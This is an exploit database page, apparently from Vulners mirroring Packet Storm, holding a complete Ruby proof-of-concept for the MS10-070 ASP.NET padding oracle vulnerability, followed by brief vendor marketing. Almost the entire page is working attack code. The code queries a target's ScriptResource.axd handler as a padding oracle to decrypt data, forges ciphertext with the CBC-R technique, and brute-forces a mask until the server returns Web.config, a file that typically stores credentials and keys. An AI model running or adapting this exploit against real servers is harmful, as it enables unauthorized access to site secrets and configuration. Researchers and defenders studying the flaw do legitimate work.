Lucene search
K

MS10-070 ASP.NET Padding Oracle File Download

🗓️ 17 Oct 2010 00:00:00Reported by Agustin AzubelType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 45 Views

MS10-070 ASP.NET Padding Oracle File Download - Decrypt and Encrypt Dat

Code
`#!/usr/bin/ruby -w  
  
#  
# aspx_po_chotext_attack.rb  
#  
# Copyright (c) 2010 AmpliaSECURITY. All rights reserved  
#   
# http://www.ampliasecurity.com  
# Agustin Azubel - [email protected]  
#  
#  
# MS10-070 ASPX proof of concept  
# Decrypt data using Vaudenay's cbc-padding-oracle-side-channel  
# Encrypt data using Rizzo-Duong CBC-R technique  
#  
# Copyright (c) 2010 Amplia Security. All rights reserved.  
#  
# Unless you have express writen permission from the Copyright  
# Holder, any use of or distribution of this software or portions of it,  
# including, but not limited to, reimplementations, modifications and derived  
# work of it, in either source code or any other form, as well as any other  
# software using or referencing it in any way, may NOT be sold for commercial  
# gain, must be covered by this very same license, and must retain this  
# copyright notice and this license.  
# Neither the name of the Copyright Holder nor the names of its contributors  
# may be used to endorse or promote products derived from this software  
# without specific prior written permission.  
#  
#  
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"  
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE  
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE  
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE  
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR  
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF  
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS  
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN  
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)  
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE  
# POSSIBILITY OF SUCH DAMAGE.  
#  
  
  
$debugging = false  
  
  
require 'net/http'  
require 'uri'  
require 'rexml/document'  
  
  
#<require 'xarray'>  
module XArray  
def hex_inspect  
"[#{length}][ #{map { |x| x.hex_inspect }.join ", " } ]"  
end  
end  
  
class Array  
include XArray  
end  
#</require 'xarray'>  
  
  
#<require 'xbase64'>  
require 'base64'  
  
class XBase64  
def self.encode s  
s = Base64.encode64 s  
s = s.gsub '+', '-'  
s = s.gsub '/', '_'  
s = s.gsub "\n", ''  
s = s.gsub "\r", ''  
  
s = XBase64.encode_base64_padding s  
end  
  
def self.encode_base64_padding s  
padding_length = 0  
padding_length += 1 while s[-1 - padding_length, 1] == "="  
s[0..(-1 - padding_length)] + padding_length.to_s  
end  
  
  
def self.decode s  
s = s.gsub '-', '+'  
s = s.gsub '_', '/'  
  
s = self.decode_base64_padding s  
  
Base64.decode64 s  
end  
  
def self.decode_base64_padding s  
padding_length = s[-1,1].to_i  
s[0...-1] + ("=" * padding_length)  
end  
end  
#</require 'xbase64'>  
  
  
#<require 'xstring'>  
module XString  
def xor other  
raise RuntimeError, "length mismatch" if self.length != other.length  
(0...length).map { |i| self[i] ^ other[i] }.map { |x| x.chr }.join  
end  
alias ^ :xor  
  
def hex_inspect  
printables = [ "\a", "\b", "\e", "\f", "\n", "\r", "\t", "\v" ] + \  
(0x20..0x7e).entries  
  
"[#{length}]" + "\"#{unpack("C*").map { |x|  
printables.include?(x) ? x.chr : "\\x%02x" % x }.join}\""  
end  
  
def to_blocks blocksize  
(0...length/blocksize).map { |i| self[blocksize * i, blocksize]}  
end  
end  
  
class String  
include XString  
end  
#</require 'xstring'>  
  
  
#<require 'padding_verification_strategy'>  
class PaddingVerificationStrategy  
def initialize parameters  
@parameters = parameters  
end  
  
def valid_padding?  
raise RuntimeError, "abstract method !"  
end  
end  
  
class ErrorCodeStrategy < PaddingVerificationStrategy  
def valid_padding? response  
invalid_padding_error_code = @parameters[:invalid_padding_error_code]  
not (invalid_padding_error_code == response.code)  
end  
end  
  
class BodyLengthStrategy < PaddingVerificationStrategy  
def valid_padding? response  
invalid_padding_body_length = @parameters[:invalid_padding_body_length]  
absolute_error = @parameters[:absolute_error]  
  
not ( (invalid_padding_body_length - response.body.length).abs < absolute_error)  
end  
end  
  
class BodyContentStrategy < PaddingVerificationStrategy  
def valid_padding?  
end  
end  
  
class TimingStrategy < PaddingVerificationStrategy  
def valid_padding?  
end  
end  
#</require 'padding_verification_strategy'>  
  
  
#<require 'padding_oracle_decryptor'>  
class PaddingOracleDecryptor  
attr_accessor :blocksize  
attr_accessor :d_value  
attr_accessor :http  
attr_accessor :strategy  
  
def initialize  
@tries = 0  
@a = []  
@decrypted = []  
@blocksize = nil  
@d_value = nil  
@http = nil  
@strategy = nil  
end  
  
  
def discover_blocksize_and_oracle_behaviour  
puts "discovering blocksize and oracle behaviour..."  
  
[ 16, 8 ].each do |b|  
ciphertext = @d_value.clone  
ciphertext[-(b * 3)] ^= 0x01  
  
response = http.send_request ciphertext  
  
valid_padding_code = response.code  
valid_padding_body_length = response.body.length  
  
0.upto b - 1 do |i|  
ciphertext = @d_value.clone  
ciphertext[-(b * 2) + i] ^= 0x01  
  
response = http.send_request ciphertext  
  
# puts "code: #{response.code}, length: #{response.body.length}"  
  
# if valid_padding_code != response.code  
# puts "padding verification strategy based on error code"  
# @strategy = ErrorCodeStrategy.new :valid_padding_code => valid_padding_code,  
# :invalid_padding_code => response.code  
# @blocksize = b  
# break  
# end  
  
if valid_padding_body_length != response.body.length  
absolute_error = 200  
if (valid_padding_body_length - response.body.length).abs > absolute_error  
puts "padding verification strategy based on body length"  
@strategy = BodyLengthStrategy.new :valid_padding_body_length => valid_padding_body_length,  
:invalid_padding_body_length => response.body.length,  
:absolute_error => absolute_error  
@blocksize = b  
break  
end  
end  
end  
break if blocksize  
end  
  
raise RuntimeError, "could not select a valid padding verification strategy!" unless blocksize  
  
puts "discovered blocksize: #{blocksize}"  
# blocksize and padding_length leads to automatic tail decryption !  
  
blocksize  
end  
  
def valid_padding? response  
strategy.valid_padding? response  
end  
  
def ask_oracle r  
@tries += 1  
r = r[1..-1].pack "C" * blocksize  
  
ciphertext = d_value + r + @y  
  
response = http.send_request ciphertext  
  
return 1 if valid_padding? response  
  
return 0  
end  
  
def decrypt_last_word  
print "last word... "  
$stdout.flush  
  
b = blocksize  
  
# 1. pick a few random words r[1],...,r[b] and take i = 0  
saved_r = [0]  
saved_r += (1..b).map { |i| rand 0xff }  
i = 1   
loop do  
r = saved_r.clone  
  
# 2. pick r = r[1],...,r[b-1],(r[b] xor i)  
r[b] = r[b] ^ i  
  
# 3. if O(r|y) = 0 then increment i and go back to the previous step  
break if ask_oracle(r) == 1  
i += 1  
raise "failed!" if i > 0xff  
end  
  
# 4. replace r[b] by r[b xor i]  
saved_r[b] = saved_r[b] ^ i  
  
# 5. for n = b down to 2 do  
# (a) take r = r[1],...,r[b-n],(r[b-n+1] xor 1),r[b-n+2],...,r[b]  
# (b) if O(r|y) = 0 then stop and output (r[b-n+1] xor n),...,r[b xor n]  
b.downto 2 do |n|  
r = saved_r.clone  
r[b-n+1] = r[b-n+1] ^ 1  
if ask_oracle(r) == 0  
# puts "lucky #{n}!"  
n.downto(1) do |t|  
word = r[b-t+1] ^ n  
@a[b-t+1] = word  
puts "a[#{b-t+1}]: #{word}"  
end  
return  
end  
end  
r = saved_r.clone  
  
# 6. output r[b] xor 1  
last_word = r[b] ^ 1  
@a[blocksize] = last_word  
# puts "\x07a[#{blocksize}]: 0x%02x" % @a[blocksize]  
end  
  
def decrypt_ax x  
print "a[#{x}]... "  
$stdout.flush  
  
b = blocksize  
j = x+1  
saved_r = [ 0 ]  
  
# 2. pick r[1],...,r[j-1] at random and take i = 0  
saved_r += (1..x).map { |i| rand 0xff }  
i = 0  
  
# 1. take r[k] = a[k] xor ( b - j + 2) for k = j,...,b  
2.upto b do |k|  
saved_r[k] = @a[k] ^ (b - j + 2) if x < k  
end  
  
loop do  
r = saved_r.clone  
  
# 3. take r = r[1]...r[j-2](r[j-1] xor i)r[j]..r[b]  
r[x] = r[x] ^ i  
  
  
# 4. if O(r|y) = 0 then increment i and go back to the previous step  
break if (ask_oracle r) == 1  
i += 1  
raise "failed!" if i > 255  
end  
  
r = saved_r.clone  
  
# 5. output r[j-1] xor i xor (b - j + 2)  
@a[x] = (r[x] ^ i) ^ (b - j + 2)  
# puts "\x07a[#{x}]: 0x%02x" % @a[x]  
end  
  
  
def decrypt_block iv, y  
@tries = 0  
@iv = iv  
@y = y  
  
print "decrypting "  
$stdout.flush  
  
decrypt_last_word  
(blocksize - 1).downto 1 do |j|  
decrypt_ax j  
end  
  
puts  
puts "tries: #{@tries}, average: #{(blocksize * 256) / 2}"  
@a.shift  
  
plaintext_block = (0...blocksize).map { |i| @a[i] ^ @iv[i] }.pack "C*"  
  
plaintext_block  
end  
  
def decrypt ciphertext  
plaintext_blocks = Array.new  
cipher_blocks = ciphertext.to_blocks blocksize  
  
iv = "\x00" * blocksize  
cipher_blocks.unshift iv  
  
1.upto cipher_blocks.length - 2 do |i|  
plaintext_block = decrypt_block cipher_blocks[-i - 1], cipher_blocks[-i]  
plaintext_blocks.unshift plaintext_block  
end  
  
plaintext_blocks.join  
end  
end  
#</require 'padding_oracle_decryptor'>  
  
  
class ASPXPaddingOracleChosenCiphertextAttack  
attr_reader :uri  
attr_reader :filename  
attr_reader :filelength  
attr_reader :filere  
attr_reader :http  
attr_reader :d_value  
attr_reader :blocksize  
attr_reader :axdpath  
attr_reader :axdname  
attr_reader :decryptor  
attr_reader :base_mask  
  
def initialize parameters  
@uri = URI.parse parameters[:uri]  
@filename = parameters[:filename]  
@filelength = parameters[:filelength]  
@filere = parameters[:filere]  
@http = http_initialize  
@d_value = nil  
@base_mask = rand 0xffff  
@blocksize = nil  
@axdpath = nil  
@axdname = nil  
@decryptor = PaddingOracleDecryptor.new  
  
puts "using target: #{@uri}"  
puts "using base_mask: 0x%04x" % @base_mask  
end  
  
def http_initialize  
http = Net::HTTP.new @uri.host, @uri.port  
http  
end  
  
  
def parse_script_tag xml, re  
d = nil  
  
doc = REXML::Document.new xml  
doc.elements.each 'script' do |e|  
src_attribute = e.attributes['src']  
md = re.match src_attribute  
d = md[1]  
break  
end  
  
raise RuntimeError, "could not parse script_tag" unless d  
  
d  
end  
private :parse_script_tag  
  
def get_ciphertext_sample  
puts "starting connection..."  
  
http.start  
  
[ [ "ScriptResource.axd", /\/ScriptResource\.axd\?d=([a-zA-Z0-9\-\_]+)\&t=[a-z0-9]+/ ]  
].each do |name, re|  
  
headers = { 'User-Agent' => \  
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)' }  
  
response = http.get uri.path, headers  
body = response.body  
  
script_tags = body.lines.select { |x| x.index name }  
  
next if script_tags.empty?  
  
# puts "script tags using #{name} [#{script_tags.length}]:"  
# puts script_tags.map { |x| "\t#{x}" }  
  
d = parse_script_tag script_tags[0], re  
  
puts "using script: #{name}"  
puts "using d_value: #{d}"  
  
@axdpath = uri.path[0, uri.path.rindex('/')]  
@axdname = name  
@d_value = ("\x00" * 16) + (XBase64.decode d)  
break  
end  
  
raise RuntimeError, "could not find any axd sample" unless d_value  
  
decryptor.http = self  
decryptor.d_value = d_value  
  
d_value  
end  
  
def parse_html_body h, body  
parsed = String.new  
  
doc = REXML::Document.new body  
doc.elements.each h do |e|  
parsed = e.text  
break  
end  
  
parsed  
end  
  
def send_request d  
request = Net::HTTP::Get.new "/#{axdpath}/#{axdname}?d=#{XBase64.encode d}"  
request['Connection'] = 'Keep-Alive'  
@http.request request  
end  
  
def decrypt ciphertext  
decryptor.decrypt ciphertext  
end  
  
  
def discover_blocksize_and_oracle_behaviour  
@blocksize = decryptor.discover_blocksize_and_oracle_behaviour  
end  
  
def reallocate_cipher_blocks cipher_blocks, new_plaintext_blocks  
puts "cipher_blocks.count: #{cipher_blocks.count}"  
  
required_block_count = 1 + new_plaintext_blocks.length + 1  
puts "required_block_count: #{required_block_count}"  
  
if required_block_count < cipher_blocks.count then  
delta = cipher_blocks.count - required_block_count  
puts "removing #{delta} extra blocks..."  
cipher_blocks = [ cipher_blocks[0] ] + cipher_blocks[-required_block_count+1..-1]  
elsif required_block_count > cipher_blocks.count then  
delta = required_block_count - cipher_blocks.count  
puts "adding #{delta} extra_blocks..."  
cipher_blocks = [ cipher_blocks[0], ("\x00" * blocksize) * delta ] + cipher_blocks[1..-1]  
end  
  
puts "cipher_blocks.count: #{cipher_blocks.count}"  
  
cipher_blocks  
end  
private :reallocate_cipher_blocks  
  
def generate_new_plaintext_blocks  
tail_padding = "\x01"  
head_padding_length = blocksize - ( (@filename.length + tail_padding.length) % blocksize)  
head_padding_length = 0 if head_padding_length == blocksize  
head_padding = "\x00" * head_padding_length  
new_plaintext = head_padding + @filename + tail_padding  
  
new_plaintext.to_blocks blocksize  
end  
private :generate_new_plaintext_blocks  
  
def encrypt  
puts "encrypting \"#{@filename.hex_inspect}..."  
  
new_plaintext_blocks = generate_new_plaintext_blocks  
  
cipher_blocks = @d_value.to_blocks blocksize  
cipher_blocks = reallocate_cipher_blocks cipher_blocks, new_plaintext_blocks  
  
puts "decrypting #{new_plaintext_blocks.length} blocks..."  
(1..new_plaintext_blocks.length).each do |i|  
puts "block #{i} of #{new_plaintext_blocks.length}"  
  
old_plaintext_block = decryptor.decrypt_block cipher_blocks[-i - 1], cipher_blocks[-i]  
puts "old_plaintext_block: #{old_plaintext_block.hex_inspect}"  
  
cipher_blocks[-1 - i] ^= old_plaintext_block ^ new_plaintext_blocks[-i]  
end  
  
puts "eye candy: decrypting crafted ciphertext"  
new_plaintext = decrypt cipher_blocks.join  
puts "new_plaintext: #{new_plaintext.hex_inspect}"  
  
  
@d_value = cipher_blocks.join  
end  
  
  
def discover_escape_sequence  
puts "discovering escape sequence..."  
  
escape_sequence_mask = nil  
  
offset = base_mask % (blocksize - 4)  
  
ciphertext = d_value.clone  
0x1ffff.times do |mask|  
ciphertext[offset, 4] = [ base_mask + mask ].pack "L"  
  
response = send_request ciphertext  
print "\rtrying escape_mask: 0x%05x/0x1ffff, http_code: %4d, body_length: %5d" % \  
[ mask, response.code, response.body.length ]  
  
next unless response.code == "200"  
  
next if filelength and (response.body.length < filelength)  
  
next if filere and (not filere =~ response.body)  
  
escape_sequence_mask = base_mask + mask  
  
puts  
puts "found!"  
puts "press any key to show the contents of the file"  
$stdin.gets  
puts response.body  
break  
end  
  
raise RuntimeError, "no more combinations to try !" unless escape_sequence_mask  
  
escape_sequence_mask  
end  
  
def pause  
puts  
puts "press any key to start the attack"  
$stdin.gets  
end  
  
def run  
get_ciphertext_sample  
pause  
discover_blocksize_and_oracle_behaviour  
encrypt  
discover_escape_sequence  
end  
end  
  
  
  
puts [ "-------------------------------------------",  
"aspx_po_chotext_attack.rb",  
"(c) 2010 AmpliaSECURITY",  
"http://www.ampliasecurity.com",  
"Agustin Azubel - [email protected]",  
"-------------------------------------------",  
"\n" ].join "\n"  
  
  
if ARGV.length != 1 then  
$stderr.puts "usage: ruby #{$PROGRAM_NAME} http://192.168.1.1/Default.aspx"  
exit  
end  
  
begin  
parameters = {  
:uri => ARGV.first,  
:filename => "|||~/Web.config",  
:filere => /configuration/  
}  
  
x = ASPXPaddingOracleChosenCiphertextAttack.new parameters  
x.run  
rescue Exception => e  
$stderr.puts "Exploit failed: #{e}"  
  
raise if $debugging  
end  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation